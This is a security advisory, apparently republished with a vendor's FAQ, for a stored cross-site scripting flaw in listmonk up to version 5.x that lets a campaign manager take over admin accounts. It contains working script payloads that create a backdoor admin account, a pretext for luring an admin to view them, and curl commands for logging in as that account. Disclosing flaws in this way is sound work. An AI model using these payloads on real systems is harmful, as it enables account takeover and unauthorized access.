CVE-2026-21483

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload
2. Request is made to super admin: "Please review my newsletter draft"
3. Super admin opens campaign and clicks Preview
4. XSS executes → Backdoor admin account created
5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload
2. Attacker enables Archive for the campaign
3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
4. Super admin visits the link (no preview click needed!)
5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: '[email protected]', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

1. Edit campaign settings
2. Enable "Archive"
3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

• Send campaign to super admin for "review"
• Super admin previews → XSS fires

Option B - Archive Link:

• Share archive URL with super admin
• Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

[Screenshot 2: Super admin previewing campaign]

[Screenshot 3: Backdoor user successfully created]

Affected Components

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Kodem intelligence

1. What is CVE-2026-21483? CVE-2026-21483 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/knadh/listmonk (go), affecting versions >= 1.1.1, < 6.0.0. It is fixed in 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. Which versions of github.com/knadh/listmonk are affected by CVE-2026-21483? github.com/knadh/listmonk (go) versions >= 1.1.1, < 6.0.0 is affected.
3. Is there a fix for CVE-2026-21483? Yes. CVE-2026-21483 is fixed in 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb. Upgrade to this version or later.
4. Is CVE-2026-21483 exploitable, and should I be worried? Whether CVE-2026-21483 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-21483 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-21483?
   • Upgrade github.com/knadh/listmonk to 6.0.0 or later
   • Upgrade github.com/knadh/listmonk to 1.1.1-0.20251231125615-74dc5a01cfbb or later